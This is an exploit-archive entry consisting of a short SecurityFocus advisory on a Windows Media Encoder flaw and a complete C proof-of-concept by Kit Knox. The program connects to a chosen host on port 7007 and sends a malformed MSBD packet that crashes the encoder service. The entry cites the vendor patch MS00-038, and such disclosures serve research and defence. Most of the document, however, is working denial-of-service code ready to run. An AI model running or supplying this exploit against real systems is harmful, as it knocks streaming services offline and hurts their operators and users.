// source: https://www.securityfocus.com/bid/1282/info
Windows Media Encoder is part of Windows Media Services. It's purpose is to convert content into a suitable format for video or audio streaming through the Media Services.
If a specially malformed request is sent to the Windows Media Encoder it could cause the service to crash. The service would need to be restarted in order to regain normal functionality.
/*
*
* Media Streaming Broadcast Distribution (MSBD)
* Denial of Service Attack
*
* (C) 2000 Kit Knox <kit@rootshell.com> - Public Release: 05/31/00
*
* Causes the Windows Media Encoder to crash with a "Runtime Error!"
*
* "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1".
*
* Tested on version 4.1.0.3920 file "NsRex.exe" 998KB 1/11/00.
*
* Official Microsoft patch is available :
*
* http://www.microsoft.com/technet/security/bulletin/ms00-038.asp
*
* Thanks to Microsoft and the WMT group for their prompt attention to this
* matter.
*
*/
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
char bogus_msbd_packet1[] = {
0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00,
0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00,
0x77, 0x00, 0x00, 0x00
};
int sock;
int main(int argc, char *argv[]) {
struct hostent *he;
struct sockaddr_in sa;
char buf[1024];
if (argc != 2) {
fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
return(-1);
}
sock = socket ( AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(7007);
he = gethostbyname (argv[1]);
if (!he) {
if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
return(-1);
} else {
bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
}
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
fprintf(stderr, "Fatal Error: Can't connect to Windows Media Encoder.\n");
return(-1);
}
write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1));
for (;;) {
read(sock, buf, sizeof(buf));
}
}